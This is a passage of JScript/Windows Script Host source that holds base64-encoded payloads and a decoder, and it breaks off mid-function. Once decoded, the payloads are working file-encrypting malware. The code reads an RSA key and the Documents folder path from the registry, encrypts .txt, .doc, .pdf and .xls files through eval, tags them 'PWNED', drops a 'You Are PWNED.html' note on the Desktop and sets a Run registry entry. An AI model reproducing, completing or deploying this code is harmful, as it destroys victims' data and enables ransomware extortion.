w0KXwoJGNocjI+PjQpOyRlbmMzPSgoJGNocjImMTUpPDwyKXwoJGNocjM+PjYpOyRlbmM0PSRjaHIzJjYzO2lmKGlzTmFOKCRjaHIyKSkkZW5jMz0kZW5jND02NDtlbHNlIGlmKGlzTmFOKCRjaHIzKSkkZW5jND02NDskb3V0cHV0Kz10aGlzLmJhc2U2NC5jaGFyQXQoJGVuYzEpK3RoaXMuYmFzZTY0LmNoYXJBdCgkZW5jMikrdGhpcy5iYXNlNjQuY2hhckF0KCRlbmMzKSt0aGlzLmJhc2U2NC5jaGFyQXQoJGVuYzQpfXdoaWxlKCRpPCRpbnB1dC5sZW5ndGgpO3JldHVybiAkb3V0cHV0fSxkZWNvZGU6ZnVuY3Rpb24oJGlucHV0KXtpZighJGlucHV0KXJldHVybiBmYWxzZTskaW5wdXQ9JGlucHV0LnJlcGxhY2UoL1teQS1aYS16MC05XCtcL1w9XS9nLCcnKTt2YXIgJG91dHB1dD0nJzt2YXIgJGVuYzEsJGVuYzIsJGVuYzMsJGVuYzQ7dmFyICRpPTA7ZG97JGVuYzE9dGhpcy5iYXNlNjQuaW5kZXhPZigkaW5wdXQuY2hhckF0KCRpKyspKTskZW5jMj10aGlzLmJhc2U2NC5pbmRleE9mKCRpbnB1dC5jaGFyQXQoJGkrKykpOyRlbmMzPXRoaXMuYmFzZTY0LmluZGV4T2YoJGlucHV0LmNoYXJBdCgkaSsrKSk7JGVuYzQ9dGhpcy5iYXNlNjQuaW5kZXhPZigkaW5wdXQuY2hhckF0KCRpKyspKTskb3V0cHV0Kz1TdHJpbmcuZnJvbUNoYXJDb2RlKCgkZW5jMTw8Mil8KCRlbmMyPj40KSk7aWYoJGVuYzMhPTY0KSRvdXRwdXQrPVN0cmluZy5mcm9tQ2hhckNvZGUoKCgkZW5jMiYxNSk8PDQpfCgkZW5jMz4+MikpO2lmKCRlbmM0IT02NCkkb3V0cHV0Kz1TdHJpbmcuZnJvbUNoYXJDb2RlKCgoJGVuYzMmMyk8PDYpfCRlbmM0KX13aGlsZSgkaTwkaW5wdXQubGVuZ3RoKTtyZXR1cm4gJG91dHB1dH19O3ZhciBIZXg9e2hleDonMDEyMzQ1Njc4OWFiY2RlZicsZW5jb2RlOmZ1bmN0aW9uKCRpbnB1dCl7aWYoISRpbnB1dClyZXR1cm4gZmFsc2U7dmFyICRvdXRwdXQ9Jyc7dmFyICRrO3ZhciAkaT0wO2RveyRrPSRpbnB1dC5jaGFyQ29kZUF0KCRpKyspOyRvdXRwdXQrPXRoaXMuaGV4LmNoYXJBdCgoJGs+PjQpJjB4ZikrdGhpcy5oZXguY2hhckF0KCRrJjB4Zil9d2hpbGUoJGk8JGlucHV0Lmxlbmd0aCk7cmV0dXJuICRvdXRwdXR9LGRlY29kZTpmdW5jdGlvbigkaW5wdXQpe2lmKCEkaW5wdXQpcmV0dXJuIGZhbHNlOyRpbnB1dD0kaW5wdXQucmVwbGFjZSgvW14wLTlhYmNkZWZdL2csJycpO3ZhciAkb3V0cHV0PScnO3ZhciAkaT0wO2RveyRvdXRwdXQrPVN0cmluZy5mcm9tQ2hhckNvZGUoKCh0aGlzLmhleC5pbmRleE9mKCRpbnB1dC5jaGFyQXQoJGkrKykpPDw0KSYweGYwKXwodGhpcy5oZXguaW5kZXhPZigkaW5wdXQuY2hhckF0KCRpKyspKSYweGYpKX13aGlsZSgkaTwkaW5wdXQubGVuZ3RoKTtyZXR1cm4gJG91dHB1dH19O3ZhciBBU04xRGF0YT1mdW5jdGlvbigkZGF0YSl7dGhpcy5lcnJvcj1mYWxzZTt0aGlzLnBhcnNlPWZ1bmN0aW9uKCRkYXRhKXtpZighJGRhdGEpe3RoaXMuZXJyb3I9dHJ1ZTtyZXR1cm4gbnVsbH12YXIgJHJlc3VsdD1bXTt3aGlsZSgkZGF0YS5sZW5ndGg+MCl7dmFyICR0YWc9JGRhdGEuY2hhckNvZGVBdCgwKTskZGF0YT0kZGF0YS5zdWJzdHIoMSk7dmFyICRsZW5ndGg9MDtpZigoJHRhZyYzMSk9PTB4NSkkZGF0YT0kZGF0YS5zdWJzdHIoMSk7ZWxzZXtpZigkZGF0YS5jaGFyQ29kZUF0KDApJjEyOCl7dmFyICRsZW5ndGhTaXplPSRkYXRhLmNoYXJDb2RlQXQoMCkmMTI3OyRkYXRhPSRkYXRhLnN1YnN0cigxKTtpZigkbGVuZ3RoU2l6ZT4wKSRsZW5ndGg9JGRhdGEuY2hhckNvZGVBdCgwKTtpZigkbGVuZ3RoU2l6ZT4xKSRsZW5ndGg9KCgkbGVuZ3RoPDw4KXwkZGF0YS5jaGFyQ29kZUF0KDEpKTtpZigkbGVuZ3RoU2l6ZT4yKXt0aGlzLmVycm9yPXRydWU7cmV0dXJuIG51bGx9JGRhdGE9JGRhdGEuc3Vic3RyKCRsZW5ndGhTaXplKX1lbHNleyRsZW5ndGg9JGRhdGEuY2hhckNvZGVBdCgwKTskZGF0YT0kZGF0YS5zdWJzdHIoMSl9fXZhciAkdmFsdWU9Jyc7aWYoJGxlbmd0aCl7aWYoJGxlbmd0aD4kZGF0YS5sZW5ndGgpe3RoaXMuZXJyb3I9dHJ1ZTtyZXR1cm4gbnVsbH0kdmFsdWU9JGRhdGEuc3Vic3RyKDAsJGxlbmd0aCk7JGRhdGE9JGRhdGEuc3Vic3RyKCRsZW5ndGgpfWlmKCR0YWcmMzIpJHJlc3VsdC5wdXNoKHRoaXMucGFyc2UoJHZhbHVlKSk7ZWxzZSAkcmVzdWx0LnB1c2godGhpcy52YWx1ZSgoJHRhZyYxMjgpPzQ6KCR0YWcmMzEpLCR2YWx1ZSkpfXJldHVybiAkcmVzdWx0fTt0aGlzLnZhbHVlPWZ1bmN0aW9uKCR0YWcsJGRhdGEpe2lmKCR0YWc9PTEpcmV0dXJuICRkYXRhP3RydWU6ZmFsc2U7ZWxzZSBpZigkdGFnPT0yKXJldHVybiAkZGF0YTtlbHNlIGlmKCR0YWc9PTMpcmV0dXJuIHRoaXMucGFyc2UoJGRhdGEuc3Vic3RyKDEpKTtlbHNlIGlmKCR0YWc9PTUpcmV0dXJuIG51bGw7ZWxzZSBpZigkdGFnPT02KXt2YXIgJHJlcz1bXTt2YXIgJGQwPSRkYXRhLmNoYXJDb2RlQXQoMCk7JHJlcy5wdXNoKE1hdGguZmxvb3IoJGQwLzQwKSk7JHJlcy5wdXNoKCRkMC0kcmVzWzBdKjQwKTt2YXIgJHN0YWNrPVtdO3ZhciAkcG93TnVtPTA7dmFyICRpO2ZvcigkaT0xOyRpPCRkYXRhLmxlbmd0aDskaSsrKXt2YXIgJHRva2VuPSRkYXRhLmNoYXJDb2RlQXQoJGkpOyRzdGFjay5wdXNoKCR0b2tlbiYxMjcpO2lmKCR0b2tlbiYxMjgpJHBvd051bSsrO2Vsc2V7dmFyICRqO3ZhciAkc3VtPTA7Zm9yKCRqPTA7JGo8JHN0YWNrLmxlbmd0aDskaisrKSRzdW0rPSRzdGFja1skal0qTWF0aC5wb3coMTI4LCRwb3dOdW0tLSk7JHJlcy5wdXNoKCRzdW0pOyRwb3dOdW09MDskc3RhY2s9W119fXJldHVybiAkcmVzLmpvaW4oJy4nKX1yZXR1cm4gbnVsbH07dGhpcy5kYXRhPXRoaXMucGFyc2UoJGRhdGEpfTt2YXIgUlNBPXtnZXRQdWJsaWNLZXk6ZnVuY3Rpb24oJHBlbSl7aWYoJHBlbS5sZW5ndGg8NTApcmV0dXJuIGZhbHNlO2lmKCRwZW0uc3Vic3RyKDAsMjYpIT0nLS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0nKXJldHVybiBmYWxzZTskcGVtPSRwZW0uc3Vic3RyKDI2KTtpZigkcGVtLnN1YnN0cigkcGVtLmxlbmd0aC0yNCkhPSctLS0tLUVORCBQVUJMSUMgS0VZLS0tLS0nKXJldHVybiBmYWxzZTskcGVtPSRwZW0uc3Vic3RyKDAsJHBlbS5sZW5ndGgtMjQpOyRwZW09bmV3IEFTTjFEYXRhKEJhc2U2NC5kZWNvZGUoJHBlbSkpO2lmKCRwZW0uZXJyb3IpcmV0dXJuIGZhbHNlOyRwZW09JHBlbS5kYXRhO2lmKCRwZW1bMF1bMF1bMF09PScxLjIuODQwLjExMzU0OS4xLjEuMScpcmV0dXJuIG5ldyBSU0FQdWJsaWNLZXkoJHBlbVswXVsxXVswXVswXSwkcGVtWzBdWzFdWzBdWzFdKTtyZXR1cm4gZmFsc2V9LGVuY3J5cHQ6ZnVuY3Rpb24oJGRhdGEsJHB1YmtleSl7aWYoISRwdWJrZXkpcmV0dXJuIGZhbHNlO3ZhciBieXRlcz0oJHB1YmtleS5tb2R1bHVzLmJpdExlbmd0aCgpKzcpPj4zOyRkYXRhPXRoaXMucGtjczFwYWQyKCRkYXRhLGJ5dGVzKTtpZighJGRhdGEpcmV0dXJuIGZhbHNlOyRkYXRhPSRkYXRhLm1vZFBvd0ludCgkcHVia2V5LmVuY3J5cHRpb25FeHBvbmVudCwkcHVia2V5Lm1vZHVsdXMpO2lmKCEkZGF0YSlyZXR1cm4gZmFsc2U7JGRhdGE9JGRhdGEudG9TdHJpbmcoMTYpO3doaWxlKCRkYXRhLmxlbmd0aDxieXRlcyoyKSRkYXRhPScwJyskZGF0YTtyZXR1cm4gQmFzZTY0LmVuY29kZShIZXguZGVjb2RlKCRkYXRhKSl9LHBrY3MxcGFkMjpmdW5jdGlvbigkZGF0YSwka2V5c2l6ZSl7aWYoJGtleXNpemU8JGRhdGEubGVuZ3RoKzExKXJldHVybiBudWxsO3ZhciAkYnVmZmVyPVtdO3ZhciAkaT0kZGF0YS5sZW5ndGgtMTt3aGlsZSgkaT49MCYmJGtleXNpemU+MCkkYnVmZmVyWy0tJGtleXNpemVdPSRkYXRhLmNoYXJDb2RlQXQoJGktLSk7JGJ1ZmZlclstLSRrZXlzaXplXT0wO3doaWxlKCRrZXlzaXplPjIpJGJ1ZmZlclstLSRrZXlzaXplXT1NYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqMjU0KSsxOyRidWZmZXJbLS0ka2V5c2l6ZV09MjskYnVmZmVyWy0tJGtleXNpemVdPTA7cmV0dXJuIG5ldyBCaWdJbnRlZ2VyKCRidWZmZXIpfX07dmFyIGNvbXBsZXRlZEZpbGVJbmRpY2F0b3I9J1BXTkVEJzt2YXIgbWFpbkhlYWRlclNlcGVyYXRvcj0nfCc7dmFyIGNodW5rSGVhZGVyU2VwZXJhdG9yPScqJzt2YXIgY2h1bmtTZXBlcmF0b3I9JyQnO3ZhciBtaW5pbXVtQ2h1bmtTaXplPTkzNjt2YXIgcHVibGljS2V5SGl2ZUVudHJ5PSdIS0NVXFxTT0ZUV0FSRVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxccGsnO3ZhciBtYXhOb09mQ2h1bmtzPTIwMDt2YXIgY2hhckxlbj0obWluaW11bUNodW5rU2l6ZSkvODt2YXIgbnVtYmVyT2ZDaGFyYWN0ZXJzVG9SZWFkPW1heE5vT2ZDaHVua3MqY2hhckxlbjt2YXIgRm9yUmVhZGluZz0xO3ZhciBGb3JXcml0aW5nPTI7dmFyIGZzbz1uZXcgQWN0aXZlWE9iamVjdCgnU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QnKTtmdW5jdGlvbiBnZXRQdWJsaWNLZXkoKXt2YXIgd3NoPW5ldyBBY3RpdmVYT2JqZWN0KCdXU2NyaXB0LlNoZWxsJyk7cmV0dXJuIHdzaC5SZWdSZWFkKHB1YmxpY0tleUhpdmVFbnRyeSl9O2Z1bmN0aW9uIGVuY3J5cHRUZXh0KHRleHQpe3ZhciBrZXk9UlNBLmdldFB1YmxpY0tleShnZXRQdWJsaWNLZXkoKSk7cmV0dXJuIFJTQS5lbmNyeXB0KHRleHQsa2V5KX07ZnVuY3Rpb24gYnVpbGRDaHVua0hlYWRlcih0ZXh0KXt2YXIgZW5jcnlwdGVkVGV4dD1lbmNyeXB0VGV4dCh0ZXh0KTtyZXR1cm4gZW5jcnlwdGVkVGV4dC5sZW5ndGgrY2h1bmtIZWFkZXJTZXBlcmF0b3IrZW5jcnlwdGVkVGV4dH07ZnVuY3Rpb24gYnVpbGRNYWluSGVhZGVyKHRleHQpe3JldHVybiB0ZXh0Lmxlbmd0aCttYWluSGVhZGVyU2VwZXJhdG9yK3RleHR9O2Z1bmN0aW9uIHJlYWRPbmx5SGVhZChwYXRoKXt2YXIgZmlsZU9iaj1mc28uR2V0RmlsZShwYXRoKTt2YXIgdHM9ZmlsZU9iai5PcGVuQXNUZXh0U3RyZWFtKEZvclJlYWRpbmcpO3ZhciBmaWxlQm9keT0nJzt2YXIgcmVhZENoYXJzPTA7d2hpbGUoIXRzLkF0RW5kT2ZTdHJlYW0pe3ZhciByZWFkQ2hhcj10cy5yZWFkKDEpO2lmKHJlYWRDaGFyczxudW1iZXJPZkNoYXJhY3RlcnNUb1JlYWQpe2ZpbGVCb2R5Kz1yZWFkQ2hhcn1lbHNle2JyZWFrfXJlYWRDaGFycysrfXRzLkNsb3NlKCk7cmV0dXJuIGZpbGVCb2R5fTtmdW5jdGlvbiByZWFkT25seUVuZChwYXRoKXt2YXIgZmlsZU9iaj1mc28uR2V0RmlsZShwYXRoKTt2YXIgdHM9ZmlsZU9iai5PcGVuQXNUZXh0U3RyZWFtKEZvclJlYWRpbmcpO3ZhciBmaWxlQm9keT0nJzt2YXIgcmVhZENoYXJzPTA7d2hpbGUoIXRzLkF0RW5kT2ZTdHJlYW0pe3ZhciByZWFkQ2hhcj10cy5yZWFkKDEpO2lmKHJlYWRDaGFycz5udW1iZXJPZkNoYXJhY3RlcnNUb1JlYWQtMSl7ZmlsZUJvZHkrPXJlYWRDaGFyfXJlYWRDaGFycysrfXRzLkNsb3NlKCk7cmV0dXJuIGZpbGVCb2R5fTtmdW5jdGlvbiB3cml0ZUZpbGUocGF0aCxjb250ZW50KXt2YXIgdGFpbEVuZD1yZWFkT25seUVuZChwYXRoKTt2YXIgZmlsZU9iaj1mc28uR2V0RmlsZShwYXRoKTt2YXIgdHM9ZmlsZU9iai5PcGVuQXNUZXh0U3RyZWFtKEZvcldyaXRpbmcpO3RzLndyaXRlKGNvbnRlbnQrdGFpbEVuZCk7dHMuY2xvc2UoKX07ZnVuY3Rpb24gZW5jcnlwdEZpbGVTZWN0aW9uKCl7dmFyIGV4dHJhY3RlZFRleHQ9cmVhZE9ubHlIZWFkKGZpbGVOYW1lVG9FbmNyeXB0KTt2YXIgc3RyaW5nQ2h1bmtzPVtdO2Zvcih2YXIgaT1jaGFyTGVuO2k8ZXh0cmFjdGVkVGV4dC5sZW5ndGg7aSs9Y2hhckxlbil7c3RyaW5nQ2h1bmtzLnB1c2goYnVpbGRDaHVua0hlYWRlcihleHRyYWN0ZWRUZXh0LnNsaWNlKGktY2hhckxlbixpKSkpfXZhciBsYXN0U3RyaW5nPWV4dHJhY3RlZFRleHQuc2xpY2UoZXh0cmFjdGVkVGV4dC5sZW5ndGgtKGNoYXJMZW4tZXh0cmFjdGVkVGV4dC5sZW5ndGglY2hhckxlbikpO2lmKGxhc3RTdHJpbmcpe3N0cmluZ0NodW5rcy5wdXNoKGJ1aWxkQ2h1bmtIZWFkZXIobGFzdFN0cmluZykpfXJldHVybiBjb21wbGV0ZWRGaWxlSW5kaWNhdG9yK2J1aWxkTWFpbkhlYWRlcihzdHJpbmdDaHVua3Muam9pbihjaHVua1NlcGVyYXRvcikpfTtmdW5jdGlvbiBpc0FscmVhZHlQd25lZCgpe3ZhciBmPWZzby5PcGVuVGV4dEZpbGUoZmlsZU5hbWVUb0VuY3J5cHQsRm9yUmVhZGluZyk7dmFyIHN0YXJ0PWYuUmVhZChjb21wbGV0ZWRGaWxlSW5kaWNhdG9yLmxlbmd0aCk7cmV0dXJuIGNvbXBsZXRlZEZpbGVJbmRpY2F0b3I9PXN0YXJ0fTtmdW5jdGlvbiByZXBsYWNlRmlsZSgpe3RyeXtpZihpc0FscmVhZHlQd25lZCgpPT1mYWxzZSl7d3JpdGVGaWxlKGZpbGVOYW1lVG9FbmNyeXB0LGVuY3J5cHRGaWxlU2VjdGlvbigpKX19Y2F0Y2goZXJyKXt9fTtyZXBsYWNlRmlsZSgpOw==";
  2. var fileReader = "dmFyIGJhc2U2ND17fTtiYXNlNjQuUEFEQ0hBUj0nPSc7YmFzZTY0LkFMUEhBPSdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJztiYXNlNjQubWFrZURPTUV4Y2VwdGlvbj1mdW5jdGlvbigpe3ZhciBlLHRtcDt0cnl7cmV0dXJuIG5ldyBET01FeGNlcHRpb24oRE9NRXhjZXB0aW9uLklOVkFMSURfQ0hBUkFDVEVSX0VSUil9Y2F0Y2godG1wKXt2YXIgZXg9bmV3IEVycm9yKCdET00gRXhjZXB0aW9uIDUnKTtleC5jb2RlPWV4Lm51bWJlcj01O2V4Lm5hbWU9ZXguZGVzY3JpcHRpb249J0lOVkFMSURfQ0hBUkFDVEVSX0VSUic7ZXgudG9TdHJpbmc9ZnVuY3Rpb24oKXtyZXR1cm4nRXJyb3I6ICcrZXgubmFtZSsnOiAnK2V4Lm1lc3NhZ2V9O3JldHVybiBleH19O2Jhc2U2NC5nZXRieXRlNjQ9ZnVuY3Rpb24ocyxpKXt2YXIgaWR4PWJhc2U2NC5BTFBIQS5pbmRleE9mKHMuY2hhckF0KGkpKTtpZihpZHg9PT0tMSl7dGhyb3cgYmFzZTY0Lm1ha2VET01FeGNlcHRpb24oKTt9cmV0dXJuIGlkeH07YmFzZTY0LmRlY29kZT1mdW5jdGlvbihzKXtzPScnK3M7dmFyIGdldGJ5dGU2ND1iYXNlNjQuZ2V0Ynl0ZTY0O3ZhciBwYWRzLGksYjEwO3ZhciBpbWF4PXMubGVuZ3RoO2lmKGltYXg9PT0wKXtyZXR1cm4gc31pZihpbWF4JTQhPT0wKXt0aHJvdyBiYXNlNjQubWFrZURPTUV4Y2VwdGlvbigpO31wYWRzPTA7aWYocy5jaGFyQXQoaW1heC0xKT09PWJhc2U2NC5QQURDSEFSKXtwYWRzPTE7aWYocy5jaGFyQXQoaW1heC0yKT09PWJhc2U2NC5QQURDSEFSKXtwYWRzPTJ9aW1heC09NH12YXIgeD1bXTtmb3IoaT0wO2k8aW1heDtpKz00KXtiMTA9KGdldGJ5dGU2NChzLGkpPDwxOCl8KGdldGJ5dGU2NChzLGkrMSk8PDEyKXwoZ2V0Ynl0ZTY0KHMsaSsyKTw8Nil8Z2V0Ynl0ZTY0KHMsaSszKTt4LnB1c2goU3RyaW5nLmZyb21DaGFyQ29kZShiMTA+PjE2LChiMTA+PjgpJjB4ZmYsYjEwJjB4ZmYpKX1zd2l0Y2gocGFkcyl7Y2FzZSAxOmIxMD0oZ2V0Ynl0ZTY0KHMsaSk8PDE4KXwoZ2V0Ynl0ZTY0KHMsaSsxKTw8MTIpfChnZXRieXRlNjQocyxpKzIpPDw2KTt4LnB1c2goU3RyaW5nLmZyb21DaGFyQ29kZShiMTA+PjE2LChiMTA+PjgpJjB4ZmYpKTticmVhaztjYXNlIDI6YjEwPShnZXRieXRlNjQocyxpKTw8MTgpfChnZXRieXRlNjQocyxpKzEpPDwxMik7eC5wdXNoKFN0cmluZy5mcm9tQ2hhckNvZGUoYjEwPj4xNikpO2JyZWFrfXJldHVybiB4LmpvaW4oJycpfTtiYXNlNjQuZ2V0Ynl0ZT1mdW5jdGlvbihzLGkpe3ZhciB4PXMuY2hhckNvZGVBdChpKTtpZih4PjI1NSl7dGhyb3cgYmFzZTY0Lm1ha2VET01FeGNlcHRpb24oKTt9cmV0dXJuIHh9O2Jhc2U2NC5lbmNvZGU9ZnVuY3Rpb24ocyl7aWYoYXJndW1lbnRzLmxlbmd0aCE9PTEpe3Rocm93IG5ldyBTeW50YXhFcnJvcignTm90IGVub3VnaCBhcmd1bWVudHMnKTt9dmFyIHBhZGNoYXI9YmFzZTY0LlBBRENIQVI7dmFyIGFscGhhPWJhc2U2NC5BTFBIQTt2YXIgZ2V0Ynl0ZT1iYXNlNjQuZ2V0Ynl0ZTt2YXIgaSxiMTA7dmFyIHg9W107cz0nJytzO3ZhciBpbWF4PXMubGVuZ3RoLXMubGVuZ3RoJTM7aWYocy5sZW5ndGg9PT0wKXtyZXR1cm4gc31mb3IoaT0wO2k8aW1heDtpKz0zKXtiMTA9KGdldGJ5dGUocyxpKTw8MTYpfChnZXRieXRlKHMsaSsxKTw8OCl8Z2V0Ynl0ZShzLGkrMik7eC5wdXNoKGFscGhhLmNoYXJBdChiMTA+PjE4KSk7eC5wdXNoKGFscGhhLmNoYXJBdCgoYjEwPj4xMikmMHgzRikpO3gucHVzaChhbHBoYS5jaGFyQXQoKGIxMD4+NikmMHgzZikpO3gucHVzaChhbHBoYS5jaGFyQXQoYjEwJjB4M2YpKX1zd2l0Y2gocy5sZW5ndGgtaW1heCl7Y2FzZSAxOmIxMD1nZXRieXRlKHMsaSk8PDE2O3gucHVzaChhbHBoYS5jaGFyQXQoYjEwPj4xOCkrYWxwaGEuY2hhckF0KChiMTA+PjEyKSYweDNGKStwYWRjaGFyK3BhZGNoYXIpO2JyZWFrO2Nhc2UgMjpiMTA9KGdldGJ5dGUocyxpKTw8MTYpfChnZXRieXRlKHMsaSsxKTw8OCk7eC5wdXNoKGFscGhhLmNoYXJBdChiMTA+PjE4KSthbHBoYS5jaGFyQXQoKGIxMD4+MTIpJjB4M0YpK2FscGhhLmNoYXJBdCgoYjEwPj42KSYweDNmKStwYWRjaGFyKTticmVha31yZXR1cm4geC5qb2luKCcnKX07dmFyIGVuY3J5cHRvcjt2YXIgcGVyc29uYWxGb2xkZXJSZWdpc3RyeUVudHJ5PSdIS0NVXFxTb2Z0d2FyZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcRXhwbG9yZXJcXFNoZWxsIEZvbGRlcnNcXFBlcnNvbmFsJzt2YXIgZW5jcnlwdG9yUmVnaXN0cnlFbnRyeT0nSEtDVVxcU09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXGUnO3ZhciBmaWxlTmFtZVRvRW5jcnlwdFZhcj0nZmlsZU5hbWVUb0VuY3J5cHQnO3ZhciBwcm9jZXNzRmxhZ1JlZz0nSEtDVVxcU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFJ1blxcUFdORUQnO3ZhciBmc289bmV3IEFjdGl2ZVhPYmplY3QoJ1NjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0Jyk7dmFyIGZpbGVFeHRMaXN0PXt0eHQ6J3R4dCcsZG9jOidkb2MnLGRvY3g6J2RvY3gnLHBkZjoncGRmJyx4bHM6J3hscycseGxzeDoneGxzeCcseGxzbToneGxzbSd9O3ZhciBwd25lZEZpbGVMaXN0PVtdO2Z1bmN0aW9uIGdldEZpbGVFeHQoZmlsZVNob3J0TmFtZSl7aWYoZmlsZVNob3J0TmFtZS5pbmRleE9mKCcuJyk+LTEpe3JldHVybiBmaWxlU2hvcnROYW1lLnNwbGl0KCcuJykucG9wKCkudG9Mb3dlckNhc2UoKX1lbHNle3JldHVybiBmYWxzZX19O2Z1bmN0aW9uIGlzVmFsaWRFeHQoZmlsZVNob3J0TmFtZSl7dmFyIGV4dD1nZXRGaWxlRXh0KGZpbGVTaG9ydE5hbWUpO3JldHVybiBleHQ/ZmlsZUV4dExpc3RbZXh0XTpmYWxzZX07ZnVuY3Rpb24gZ2V0RmlsZXMoZm9sZGVyUGF0aCl7dmFyIGZvbGRlcj1mc28uR2V0Rm9sZGVyKGZvbGRlclBhdGgpO3ZhciBmaWxlcz1mb2xkZXIuZmlsZXM7aWYoZmlsZXMuY291bnQ+MCl7dmFyIGZpbGVMaXN0PW5ldyBFbnVtZXJhdG9yKGZvbGRlci5maWxlcyk7Zm9yKDshZmlsZUxpc3QuYXRFbmQoKTtmaWxlTGlzdC5tb3ZlTmV4dCgpKXt0cnl7aWYoaXNWYWxpZEV4dChmaWxlTGlzdC5pdGVtKCkuU2hvcnROYW1lKSl7cHduZWRGaWxlTGlzdC5wdXNoKGZpbGVMaXN0Lml0ZW0oKS5wYXRoKTt2YXIgZXZhbFN0cmluZz0ndmFyICcrZmlsZU5hbWVUb0VuY3J5cHRWYXIrJyA9IFwnJytmaWxlTGlzdC5pdGVtKCkucGF0aC5yZXBsYWNlKC9cXC9nLCdcXFxcJykrJ1wnOycrZW5jcnlwdG9yO2V2YWwoZXZhbFN0cmluZyl9fWNhdGNoKGVycil7fX19fTtmdW5jdGlvbiBnZXRGb2xkZXJzKHBhdGgpe3ZhciBmb2xkZXI9ZnNvLkdldEZvbGRlcihwYXRoKTt2YXIgc3ViRm9sZGVycz1mb2xkZXIuU3ViRm9sZGVycztpZihzdWJGb2xkZXJzLmNvdW50PjApe3ZhciBmb2xkZXJMaXN0PW5ldyBFbnVtZXJhdG9yKHN1YkZvbGRlcnMpO2Zvcig7IWZvbGRlckxpc3QuYXRFbmQoKTtmb2xkZXJMaXN0Lm1vdmVOZXh0KCkpe3RyeXtnZXRGb2xkZXJzKGZvbGRlckxpc3QuaXRlbSgpKX1jYXRjaChlcnIpe319fWdldEZpbGVzKHBhdGgpfTtmdW5jdGlvbiBmaW5pc2goKXtpZihwd25lZEZpbGVMaXN0Lmxlbmd0aD4wKXt2YXIgd3NoPW5ldyBBY3RpdmVYT2JqZWN0KCdXU2NyaXB0LlNoZWxsJyk7dmFyIHBhdGg9d3NoLlJlZ1JlYWQoJ0hLQ1VcXFNvZnR3YXJlXFxNaWNyb3NvZnRcXFdpbmRvd3NcXEN1cnJlbnRWZXJzaW9uXFxFeHBsb3JlclxcU2hlbGwgRm9sZGVyc1xcRGVza3RvcCcpKydcXFlvdSBBcmUgUFdORUQuaHRtbCc7dmFyIGh0bWxCb2R5PSc8aHRtbD48aGVhZD48dGl0bGU+WW91IGhhdmUgYmVlbiBQV05FRCAhISEhISEhPC90aXRsZT48L2hlYWQ+PGJvZHk+PGgxPllvdSBIYXZlIGJlZW4gUFdORUQgYnkgTUUgISEhITwvaDE+PGgzPkZvbGxvd2luZyBmaWxlcyBhcmUgZW5jcnlwdGVkPC9oMz48cD4nK3B3bmVkRmlsZUxpc3Quam9pbignPGJyLz4nKSsnPC9wPjwvYm9keT48L2h0bWw+Jzt2YXIgYT1mc28uQ3JlYXRlVGV4dEZpbGUocGF0aCx0cnVlKTthLldyaXRlTGluZShodG1sQm9keSk7YS5DbG9zZSgpO3dzaC5SZWdXcml0ZShwcm9jZXNzRmxhZ1JlZyxwYXRoLCJSRUdfU1oiKX19O2Z1bmN0aW9uIGlzQWxlYXJkeVB3bmVkKCl7dHJ5e3ZhciB3c2g9bmV3IEFjdGl2ZVhPYmplY3QoJ1dTY3JpcHQuU2hlbGwnKTt2YXIgdmFsPXdzaC5SZWdSZWFkKHByb2Nlc3NGbGFnUmVnKTtyZXR1cm4gdmFsIT0nJ31jYXRjaChlcnIpe31yZXR1cm4gZmFsc2V9O2Z1bmN0aW9uIGdldERvY3VtZW50Rm9sZGVyKCl7aWYoaXNBbGVhcmR5UHduZWQoKT09ZmFsc2Upe3ZhciB3c2g9bmV3IEFjdGl2ZVhPYmplY3QoJ1dTY3JpcHQuU2hlbGwnKTt2YXIgcGF0aD13c2guUmVnUmVhZChwZXJzb25hbEZvbGRlclJlZ2lzdHJ5RW50cnkpO2VuY3J5cHRvcj1iYXNlNjQuZGVjb2RlKHdzaC5SZWdSZWFkKGVuY3J5cHRvclJlZ2lzdHJ5RW50cnkpKTtnZXRGb2xkZXJzKHBhdGgpO2ZpbmlzaCgpfX07Z2V0RG9jdW1lbnRGb2xkZXIoKTs=";
  3. var decoder = "var base64={};base64.PADCHAR='=';base64.ALPHA='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';base64.makeDOMException=function(){var e,tmp;try{return new DOMException(DOMException.INVALID_CHARACTER_ERR)}catch(tmp){var ex=new Error('DOM Exception 5');ex.code=ex.number=5;ex.name=ex.description='INVALID_CHARACTER_ERR';ex.toString=function(){return'Error: '+ex.name+': '+ex.message};return ex}};base64.getbyte64=function(s,i){var idx=base64.ALPHA.indexOf(s.charAt(i));if(idx===-1){throw base64.makeDOMException();}return idx};base64.decode=function(s){s=''+s;var getbyte64=base64.getbyte64;var pads,i,b10;var imax=s.length;if(imax===0){return s}if(imax%4!==0){throw base64.makeDOMException();}pads=0;if(s.charAt(imax-1)===base64.PADCHAR){pads=1;if(s.charAt(imax-2)===base64.PADCHAR){pads=2}imax-=4}var x=[];for(i=0;i<imax;i+=4){b10=(getbyte64(s,i)<<18)|(getbyte64(s,i+1)<<12)|(getbyte64(s,i+2)<<6)|getbyte64(s,i+3);x.push(String.fromCharCode(b10>>16,(b10>>8)&0xff,b10&0xff))}switch(pads){case 1:b10=(getbyte64(s,i)<<18)|(getbyte64(s,i+1)<<12)|(getbyte64(s,i+2)<<6);x.push(String.fromCharCode(b10>>16,(b10>>8)&0xff));break;case 2:b10=(getbyte64(s,i)<<18)|(getbyte64(s,i+1)<<12);x.push(String.fromCharCode(b10>>16));break}return x.join('')};base64.getbyte=function(s,i){var x=s.charCodeAt(i);if(x>255){throw base64.makeDOMException();}return x};base64.encode=function(s){if(arguments.length!==1){throw new SyntaxError('Not enough arguments');}var padchar=base64.PADCHAR;var alpha=base64.ALPHA;var getbyte=base64.getbyte;var i,b10;var x=[];s=''+s;var imax=s.length-s.length%3;if(s.length===0){return 